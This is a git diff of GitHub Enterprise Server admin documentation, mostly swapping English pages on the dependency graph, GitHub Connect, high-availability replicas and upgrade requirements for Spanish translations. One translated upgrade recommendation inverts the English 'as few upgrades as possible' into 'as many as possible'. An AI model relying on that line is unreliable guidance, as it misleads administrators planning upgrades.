"$env:HOMEPATH/.local/bin" >> $env:GITHUB_PATH
|
||||
|
||||
@@ -86,12 +86,12 @@ The {% data variables.product.prodname_codeql_cli %} is a command-line tool that
|
||||
|
||||
{% ifversion codeql-runner-supported %}
|
||||
|
||||
## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}
|
||||
## Running {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}
|
||||
|
||||
{% data reusables.code-scanning.deprecation-codeql-runner %}
|
||||
|
||||
If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_runner %}.
|
||||
If you don't want to use {% data variables.product.prodname_actions %}, you can run {% data variables.product.prodname_code_scanning %} using the {% data variables.code-scanning.codeql_runner %}.
|
||||
|
||||
The {% data variables.product.prodname_codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)."
|
||||
The {% data variables.code-scanning.codeql_runner %} is a command-line tool that you can add to your third-party CI/CD system. The tool runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. For more information, see "[Running {% data variables.product.prodname_code_scanning %} in your CI system](/github/finding-security-vulnerabilities-and-errors-in-your-code/running-codeql-code-scanning-in-your-ci-system)."
|
||||
|
||||
{% endif %}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: About supply chain security for your enterprise
|
||||
intro: You can enable features that help your developers understand and update the dependencies their code relies on.
|
||||
title: Acerca de la seguridad de la cadena de suministro para la empresa
|
||||
intro: Puedes habilitar características que ayuden a los desarrolladores a comprender y actualizar las dependencias en las que se basa tu código.
|
||||
shortTitle: About supply chain security
|
||||
permissions: ''
|
||||
versions:
|
||||
@@ -11,12 +11,17 @@ topics:
|
||||
- Enterprise
|
||||
- Security
|
||||
- Dependency graph
|
||||
ms.openlocfilehash: edfa8c2abecfa4eb7dc797d1dac3a06827fff5d7
|
||||
ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 11/07/2022
|
||||
ms.locfileid: '148135699'
|
||||
---
|
||||
|
||||
You can allow users to identify their projects' dependencies by {% ifversion ghes %}enabling{% elsif ghae %}using{% endif %} the dependency graph for {% data variables.location.product_location %}. For more information, see "{% ifversion ghes %}[Enabling the dependency graph for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% elsif ghae %}[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph){% endif %}."
|
||||
Puedes permitir que los usuarios identifiquen las dependencias de sus proyectos mediante la {% ifversion ghes %}habilitación{% elsif ghae %}con{% endif %} el gráfico de dependencias para {% data variables.location.product_location %}. Para obtener más información, consulta "{% ifversion ghes %}[Habilitación del gráfico de dependencias para la empresa](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise){% elsif ghae %}[Acerca del gráfico de dependencias](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph){% endif %}".
|
||||
|
||||
{% data reusables.dependency-review.dependency-review-enabled-ghes %}
|
||||
|
||||
You can also allow users on {% data variables.location.product_location %} to find and fix vulnerabilities in their code dependencies by enabling {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} and {% data variables.product.prodname_dependabot_updates %}{% endif %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
|
||||
También puedes permitir que los usuarios de {% data variables.location.product_location %} busquen y corrijan vulnerabilidades en sus dependencias de código habilitando {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes %} y {% data variables.product.prodname_dependabot_updates %}{% endif %}. Para obtener más información, consulte "[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)".
|
||||
|
||||
After you enable {% data variables.product.prodname_dependabot_alerts %}, you can view vulnerability data from the {% data variables.product.prodname_advisory_database %} on {% data variables.location.product_location %} and manually sync the data. For more information, see "[Viewing the vulnerability data for your enterprise](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise)."
|
||||
Después de habilitar {% data variables.product.prodname_dependabot_alerts %}, puedes ver los datos de vulnerabilidad desde {% data variables.product.prodname_advisory_database %} en {% data variables.location.product_location %} y sincronizar manualmente los datos. Para obtener más información, consulta "[Visualización de los datos de vulnerabilidad de la empresa](/admin/code-security/managing-supply-chain-security-for-your-enterprise/viewing-the-vulnerability-data-for-your-enterprise)".
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Enabling the dependency graph for your enterprise
|
||||
intro: You can allow users to identify their projects' dependencies by enabling the dependency graph.
|
||||
title: Habilitación del gráfico de dependencias para la empresa
|
||||
intro: Puedes permitir que los usuarios identifiquen las dependencias de sus proyectos si habilitas el gráfico de dependencias.
|
||||
shortTitle: Enable dependency graph
|
||||
permissions: Site administrators can enable the dependency graph.
|
||||
versions:
|
||||
@@ -10,39 +10,36 @@ topics:
|
||||
- Enterprise
|
||||
- Security
|
||||
- Dependency graph
|
||||
ms.openlocfilehash: 39fb5e8eb74518dc4614d5494ec04427b5e12399
|
||||
ms.sourcegitcommit: 6bd8fe6d49214743f82fa2dc71847c241f140c87
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 11/07/2022
|
||||
ms.locfileid: '148135683'
|
||||
---
|
||||
## Acerca del gráfico de dependencias
|
||||
|
||||
## About the dependency graph
|
||||
|
||||
{% data reusables.dependabot.about-the-dependency-graph %} For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)"
|
||||
{% data reusables.dependabot.about-the-dependency-graph %} Para más información, vea "[Acerca del gráfico de dependencias](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph)".
|
||||
|
||||
{% data reusables.dependency-review.dependency-review-enabled-ghes %}
|
||||
|
||||
After you enable the dependency graph for your enterprise, you can enable {% data variables.product.prodname_dependabot %} to detect insecure dependencies in your repository{% ifversion ghes %} and automatically fix the vulnerabilities{% endif %}. For more information, see "[Enabling {% data variables.product.prodname_dependabot %} for your enterprise](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)."
|
||||
Después de habilitar el gráfico de dependencias para tu empresa, puedes habilitar {% data variables.product.prodname_dependabot %} a fin de detectar dependencias poco seguras en el repositorio{% ifversion ghes %} y corregir automáticamente las vulnerabilidades{% endif %}. Para obtener más información, consulte "[Habilitación de {% data variables.product.prodname_dependabot %} para la empresa](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise)".
|
||||
|
||||
{% ifversion ghes %}
|
||||
You can enable the dependency graph via the {% data variables.enterprise.management_console %} or the administrative shell. We recommend using the {% data variables.enterprise.management_console %} unless {% data variables.location.product_location %} uses clustering.
|
||||
{% ifversion ghes %} Puedes habilitar el gráfico de dependencias mediante {% data variables.enterprise.management_console %} o el shell administrativo. Se recomienda usar {% data variables.enterprise.management_console %}, a menos que {% data variables.location.product_location %} uses la agrupación en clústeres.
|
||||
|
||||
## Enabling the dependency graph via the {% data variables.enterprise.management_console %}
|
||||
## Habilitar la gráfica de dependencias a través de la {% data variables.enterprise.management_console %}
|
||||
|
||||
If {% data variables.location.product_location %} uses clustering, you cannot enable the dependency graph with the {% data variables.enterprise.management_console %} and must use the administrative shell instead. For more information, see "[Enabling the dependency graph via the administrative shell](#enabling-the-dependency-graph-via-the-administrative-shell)."
|
||||
Si {% data variables.location.product_location %} usa la agrupación en clústeres, no puedes habilitar el gráfico de dependencias con {% data variables.enterprise.management_console %} y debes usar el shell administrativo en su lugar. Para obtener más información, consulte "[Habilitación del gráfico de dependencias mediante el shell administrativo](#enabling-the-dependency-graph-via-the-administrative-shell)".
|
||||
|
||||
{% data reusables.enterprise_site_admin_settings.sign-in %}
|
||||
{% data reusables.enterprise_site_admin_settings.access-settings %}
|
||||
{% data reusables.enterprise_site_admin_settings.management-console %}
|
||||
{% data reusables.enterprise_management_console.advanced-security-tab %}
|
||||
1. Under "Security," click **Dependency graph**.
|
||||
|
||||
{% data reusables.enterprise_management_console.save-settings %}
|
||||
1. Click **Visit your instance**.
|
||||
{% data reusables.enterprise_site_admin_settings.sign-in %} {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.advanced-security-tab %}
|
||||
1. En "Security" (Seguridad), haga clic en **Dependency graph** (Gráfico de dependencias).
|
||||
 {% data reusables.enterprise_management_console.save-settings %}
|
||||
1. Haga clic en **Visit your instance** (Visitar la instancia).
|
||||
|
||||
## Enabling the dependency graph via the administrative shell
|
||||
## Habilitar la gráfica de dependencias a través del shell administrativo
|
||||
|
||||
{% endif %}
|
||||
{% data reusables.enterprise_site_admin_settings.sign-in %}
|
||||
1. In the administrative shell, enable the dependency graph on {% data variables.location.product_location %}:
|
||||
{% ifversion ghes %}```shell
|
||||
ghe-config app.dependency-graph.enabled true
|
||||
{% endif %} {% data reusables.enterprise_site_admin_settings.sign-in %}
|
||||
1. En el shell administrativo, habilita el gráfico de dependencias en {% data variables.location.product_location %}: {% ifversion ghes %}```shell ghe-config app.dependency-graph.enabled true
|
||||
```
|
||||
{% else %}```shell
|
||||
ghe-config app.github.dependency-graph-enabled true
|
||||
@@ -57,4 +54,4 @@ If {% data variables.location.product_location %} uses clustering, you cannot en
|
||||
```shell
|
||||
$ ghe-config-apply
|
||||
```
|
||||
3. Return to {% data variables.product.prodname_ghe_server %}.
|
||||
3. Regresar a {% data variables.product.prodname_ghe_server %}.
|
||||
|
||||
@@ -19,7 +19,7 @@ miniTocMaxHeadingLevel: 3
|
||||
|
||||
Enabling {% data variables.product.prodname_github_connect %} will not allow {% data variables.product.prodname_dotcom_the_website %} users to make changes to {% data variables.product.product_name %}.
|
||||
|
||||
To enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that uses {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."
|
||||
To enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_dotcom_the_website %} that uses {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %} For more information, see "[Managing {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/managing-github-connect)."
|
||||
|
||||
After enabling {% data variables.product.prodname_github_connect %}, you will be able to enable features such as {% ifversion ghes %}automatic user license sync and {% endif %}{% data variables.product.prodname_dependabot_alerts %}. For more information about all of the features available, see "[{% data variables.product.prodname_github_connect %} features](#github-connect-features)."
|
||||
|
||||
|
||||
@@ -28,7 +28,9 @@ topics:
|
||||
|
||||
You can access additional features and workflows on {% data variables.location.product_location %} by enabling {% data variables.product.prodname_github_connect %}. For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."
|
||||
|
||||
When you enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. Enabling {% data variables.product.prodname_github_connect %} creates a {% data variables.product.prodname_github_app %} owned by the organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_ghe_cloud %}.
|
||||
When you enable {% data variables.product.prodname_github_connect %}, you configure a connection between {% data variables.location.product_location %} and an organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %}
|
||||
|
||||
Enabling {% data variables.product.prodname_github_connect %} creates a {% data variables.product.prodname_github_app %} owned by the organization or enterprise account on {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} uses the {% data variables.product.prodname_github_app %}'s credentials to make requests to {% data variables.product.prodname_ghe_cloud %}.
|
||||
|
||||
{% ifversion ghes %}
|
||||
{% data variables.product.prodname_ghe_server %} stores credentials from the {% data variables.product.prodname_github_app %}. The following credentials will be replicated to all nodes in a high availability or cluster environment, and stored in any backups, including snapshots created by {% data variables.product.prodname_enterprise_backup_utilities %}.
|
||||
|
||||
@@ -63,6 +63,10 @@ Email ports must be accessible directly or via relay for inbound email support f
|
||||
|
||||
If you enable automatic access to {% data variables.product.prodname_dotcom_the_website %} actions, {% data variables.product.prodname_actions %} will always search for an action on {% data variables.location.product_location %} first, via these ports, before checking {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#about-resolution-for-actions-using-github-connect)."
|
||||
|
||||
## {% data variables.product.prodname_github_connect %} ports
|
||||
|
||||
If you enable {% data variables.product.prodname_github_connect %}, the connection between {% data variables.product.product_name %} and {% data variables.product.prodname_dotcom_the_website %} uses HTTPS over ports 443 or 80, and TLS is required. For more information, see "[About {% data variables.product.prodname_github_connect %}](/admin/configuration/configuring-github-connect/about-github-connect)."
|
||||
|
||||
## Further reading
|
||||
|
||||
- "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Creating a high availability replica
|
||||
intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.'
|
||||
title: Crear una réplica de alta disponibilidad
|
||||
intro: 'En una configuración activa/pasiva, el aparato réplica es una copia redundante del aparato principal. Si el aparato principal falla, el modo de alta disponibilidad permite que la réplica actúe como aparato principal, lo que posibilita que la interrupción del servicio sea mínima.'
|
||||
redirect_from:
|
||||
- /enterprise/admin/installation/creating-a-high-availability-replica
|
||||
- /enterprise/admin/enterprise-management/creating-a-high-availability-replica
|
||||
@@ -13,83 +13,87 @@ topics:
|
||||
- High availability
|
||||
- Infrastructure
|
||||
shortTitle: Create HA replica
|
||||
ms.openlocfilehash: ee384588ee76cd455facdb6fcbe838fc110bc223
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106761'
|
||||
---
|
||||
{% data reusables.enterprise_installation.replica-limit %}
|
||||
|
||||
## Creating a high availability replica
|
||||
## Crear una réplica de alta disponibilidad
|
||||
|
||||
1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance).
|
||||
1. Ensure that the new appliance can communicate with all other appliances in this high availability environment over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)."
|
||||
1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license.
|
||||
1. Configurar un aparato {% data variables.product.prodname_ghe_server %} nuevo en la plataforma que desees. El aparato réplica debe espejar la CPU, la RAM y los ajustes de almacenamiento del aparato principal. Recomendamos que instales el aparato réplica en un entorno separado. El hardward subyacente, el software y los componentes de red deben estar aislados de los del aparato principal. Si estás usando un proveedor de nube, utiliza una región o zona separada. Para más información, vea "[Configuración de una instancia de {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/setting-up-a-github-enterprise-server-instance)".
|
||||
1. Asegúrate de que el nuevo dispositivo puede comunicarse con todos los demás dispositivos de este entorno de alta disponibilidad a través de los puertos 122/TCP y 1194/UDP. Para más información, vea "[Puertos de red](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)".
|
||||
1. Desde un navegador, dirígete a la nueva dirección IP del aparato réplica y carga tu licencia {% data variables.product.prodname_enterprise %}.
|
||||
{% data reusables.enterprise_installation.replica-steps %}
|
||||
1. Connect to the replica appliance's IP address using SSH.
|
||||
1. Conectarse a la dirección IP del aparato réplica usando SSH.
|
||||
```shell
|
||||
$ ssh -p 122 admin@REPLICA_IP
|
||||
```
|
||||
{% data reusables.enterprise_installation.generate-replication-key-pair %}
|
||||
{% data reusables.enterprise_installation.add-ssh-key-to-primary %}
|
||||
1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again.
|
||||
{% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %}
|
||||
1. Para comprobar la conexión al dispositivo principal y habilitar el modo de réplica para la réplica nueva, vuelva a ejecutar `ghe-repl-setup`.
|
||||
```shell
|
||||
$ ghe-repl-setup PRIMARY_IP
|
||||
```
|
||||
{% data reusables.enterprise_installation.replication-command %}
|
||||
{% data reusables.enterprise_installation.verify-replication-channel %}
|
||||
{% data reusables.enterprise_installation.replication-command %} {% data reusables.enterprise_installation.verify-replication-channel %}
|
||||
|
||||
## Creating geo-replication replicas
|
||||
## Crear réplicas de replicación geográfica
|
||||
|
||||
This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/admin/guides/installation/network-ports/#administrative-ports)."
|
||||
Esta configuración de ejemplo utiliza una réplica primaria y dos réplicas, que se encuentran en tres regiones geográficas diferentes. Aunque los tres nodos pueden estar en redes diferentes, se necesitan todos los nodos para que sean accesibles desde todos los demás nodos. Como mínimo, los puertos administrativos requeridos deben estar abiertos para todos los demás nodos. Para más información sobre los requisitos de puerto, vea "[Puertos de red](/enterprise/admin/guides/installation/network-ports/#administrative-ports)".
|
||||
|
||||
{% data reusables.enterprise_clustering.network-latency %} If latency is more than 70 milliseconds, we recommend cache replica nodes instead. For more information, see "[Configuring a repository cache](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)."
|
||||
{% data reusables.enterprise_clustering.network-latency %} Si la latencia es superior a 70 milisegundos, se recomienda en su lugar almacenar en caché los nodos de réplica. Para obtener más información, consulta "[Configuración de una caché de repositorio](/admin/enterprise-management/caching-repositories/configuring-a-repository-cache)".
|
||||
|
||||
1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica.
|
||||
1. Crea la primera réplica de la misma manera que una configuración de dos nodos estándar, mediante la ejecución de `ghe-repl-setup` en la primera réplica.
|
||||
```shell
|
||||
(replica1)$ ghe-repl-setup PRIMARY_IP
|
||||
(replica1)$ ghe-repl-start
|
||||
```
|
||||
2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration.
|
||||
2. Cree una segunda réplica y use el comando `ghe-repl-setup --add`. La marca `--add` evita que sobrescriba la configuración de replicación existente y agrega la nueva réplica a la configuración.
|
||||
```shell
|
||||
(replica2)$ ghe-repl-setup --add PRIMARY_IP
|
||||
(replica2)$ ghe-repl-start
|
||||
```
|
||||
3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter.
|
||||
3. Predeterminadamente, las replicas se configuran en el mismo centro de datos, y ahora intentarán poblar los datos desde un nodo existente en el mismo centro de datos. Configura las réplicas para diferentes centros de datos estableciendo un valor diferente para la opción de centro de datos. Los valores específicos pueden ser los que tú quieras, siempre que sean diferentes entre sí. Ejecute el comando `ghe-repl-node` en cada nodo y especifique el centro de datos.
|
||||
|
||||
On the primary:
|
||||
En la primaria:
|
||||
```shell
|
||||
(primary)$ ghe-repl-node --datacenter [PRIMARY DC NAME]
|
||||
```
|
||||
On the first replica:
|
||||
En la primera réplica:
|
||||
```shell
|
||||
(replica1)$ ghe-repl-node --datacenter [FIRST REPLICA DC NAME]
|
||||
```
|
||||
On the second replica:
|
||||
En la segunda réplica:
|
||||
```shell
|
||||
(replica2)$ ghe-repl-node --datacenter [SECOND REPLICA DC NAME]
|
||||
```
|
||||
{% tip %}
|
||||
|
||||
**Tip:** You can set the `--datacenter` and `--active` options at the same time.
|
||||
**Sugerencia:** Puede establecer las opciones `--datacenter` y `--active` al mismo tiempo.
|
||||
|
||||
{% endtip %}
|
||||
4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag.
|
||||
4. Un nodo de réplica activo almacenará copias de los datos del aparato y responderá las solicitudes de usuario final. Un nodo inactivo almacenará copias de los datos del aparato, pero no podrá atender las solicitudes de usuario final. Habilite el modo activo mediante la marca `--active`, o bien el modo inactivo con la marca `--inactive`.
|
||||
|
||||
On the first replica:
|
||||
En la primera réplica:
|
||||
```shell
|
||||
(replica1)$ ghe-repl-node --active
|
||||
```
|
||||
On the second replica:
|
||||
En la segunda réplica:
|
||||
```shell
|
||||
(replica2)$ ghe-repl-node --active
|
||||
```
|
||||
5. To apply the configuration, use the `ghe-config-apply` command on the primary.
|
||||
5. Para aplicar la configuración, use el comando `ghe-config-apply` en la réplica principal.
|
||||
```shell
|
||||
(primary)$ ghe-config-apply
|
||||
```
|
||||
|
||||
## Configuring DNS for geo-replication
|
||||
## Configurar el DNS para replicación geográfica
|
||||
|
||||
Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`.
|
||||
Configurar Geo DNS usando las direcciones IP de los nodos primarios y réplica. También puede crear un CNAME DNS para el nodo principal (por ejemplo, `primary.github.example.com`) para acceder al nodo principal mediante SSH o para realizar una copia de seguridad con `backup-utils`.
|
||||
|
||||
For testing, you can add entries to the local workstation's `hosts` file (for example, `/etc/hosts`). These example entries will resolve requests for `HOSTNAME` to `replica2`. You can target specific hosts by commenting out different lines.
|
||||
Para las pruebas, puede agregar entradas al archivo `hosts` de la estación de trabajo local (por ejemplo, `/etc/hosts`). Estas entradas de ejemplo resolverán las solicitudes de `HOSTNAME` en `replica2`. Puedes apuntar a hosts específicos comentando en diferentes líneas.
|
||||
|
||||
```
|
||||
# <primary IP> HOSTNAME
|
||||
@@ -97,8 +101,8 @@ For testing, you can add entries to the local workstation's `hosts` file (for ex
|
||||
<replica2 IP> HOSTNAME
|
||||
```
|
||||
|
||||
## Further reading
|
||||
## Información adicional
|
||||
|
||||
- "[About high availability configuration](/enterprise/admin/guides/installation/about-high-availability-configuration)"
|
||||
- "[Utilities for replication management](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
|
||||
- "[About geo-replication](/enterprise/admin/guides/installation/about-geo-replication/)"
|
||||
- "[Acerca de la configuración de alta disponibilidad](/enterprise/admin/guides/installation/about-high-availability-configuration)"
|
||||
- "[Utilidades para la administración de la replicación](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)"
|
||||
- "[Acerca de la replicación geográfica](/enterprise/admin/guides/installation/about-geo-replication/)"
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
title: Upgrade requirements
|
||||
intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.'
|
||||
title: Requisitos de actualización
|
||||
intro: 'Antes de actualizar el {% data variables.product.prodname_ghe_server %}, revisa estas recomendaciones y requisitos para planificar tu estrategia de actualización.'
|
||||
redirect_from:
|
||||
- /enterprise/admin/installation/upgrade-requirements
|
||||
- /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release
|
||||
@@ -13,40 +13,46 @@ type: reference
|
||||
topics:
|
||||
- Enterprise
|
||||
- Upgrades
|
||||
ms.openlocfilehash: 23ac63dd30c11f4c29cd17313a583579d2e2cea1
|
||||
ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
|
||||
ms.translationtype: HT
|
||||
ms.contentlocale: es-ES
|
||||
ms.lasthandoff: 10/25/2022
|
||||
ms.locfileid: '148106881'
|
||||
---
|
||||
{% note %}
|
||||
|
||||
**Notes:**
|
||||
- Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance.
|
||||
- If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering.
|
||||
- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases).
|
||||
**Notas:**
|
||||
- Los paquetes de actualización están disponibles en [enterprise.github.com](https://enterprise.github.com/releases) para las versiones compatibles. Verifica la disponibilidad de los paquetes de actualización, deberás completar la actualización. Si un paquete no está disponible, contacta a {% data variables.contact.contact_ent_support %} para obtener ayuda.
|
||||
- Si usa agrupación en clústeres de {% data variables.product.prodname_ghe_server %}, vea "[Actualización de un clúster](/enterprise/admin/guides/clustering/upgrading-a-cluster/)" en la Guía de agrupación en clústeres de {% data variables.product.prodname_ghe_server %} a fin de obtener instrucciones específicas exclusivas para la agrupación en clústeres.
|
||||
- Estas notas de lanzamiento para el {% data variables.product.prodname_ghe_server %} brindan una lista detallada de las nuevas características de cada versión del {% data variables.product.prodname_ghe_server %}. Para más información, vea la [página de versiones](https://enterprise.github.com/releases).
|
||||
|
||||
{% endnote %}
|
||||
|
||||
## Recommendations
|
||||
## Recomendaciones
|
||||
|
||||
- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. Use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
|
||||
- If you’re several versions behind, upgrade {% data variables.location.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step.
|
||||
- Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}
|
||||
- Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/admin/guides/installation/setting-up-a-staging-instance/)."
|
||||
- When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete.
|
||||
- Take a snapshot before upgrading your virtual machine. For more information, see "[Taking a snapshot](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server#taking-a-snapshot)."
|
||||
- Ensure you have a recent, successful backup of your instance. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme).
|
||||
- Incluye tantas nuevas actualizaciones como sea posible en tu proceso de actualización. Por ejemplo, en lugar de actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.supported[1] }} a {{ enterpriseServerReleases.latest }}, podrías actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.latest }}. Use el [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) para buscar la ruta de actualización de la versión actual.
|
||||
- Si estás varias versiones por detrás, actualiza {% data variables.location.product_location %} tanto como sea posible con cada paso del proceso de actualización. Utilizar la versión más reciente posible en cada actualización te permite aprovechar las mejoras de desempeño y las correcciones de errores. Por ejemplo, podrías actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.8 a 2.10, pero actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.9 a 2.10 utiliza una versión posterior en el segundo paso.
|
||||
- Utiliza el lanzamiento de patch más reciente cuando actualices. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}
|
||||
- Utiliza una instancia de preparación para probar los pasos de actualización. Para más información, vea "[Configuración de una instancia de almacenamiento provisional](/enterprise/admin/guides/installation/setting-up-a-staging-instance/)".
|
||||
- Cuando ejecutas varias mejoras, espera por lo menos 24 horas entre las mejoras a las características para permitir que se completen totalmente las migraciones de datos y actualizaciones de las tareas que se ejecutan en segundo plano.
|
||||
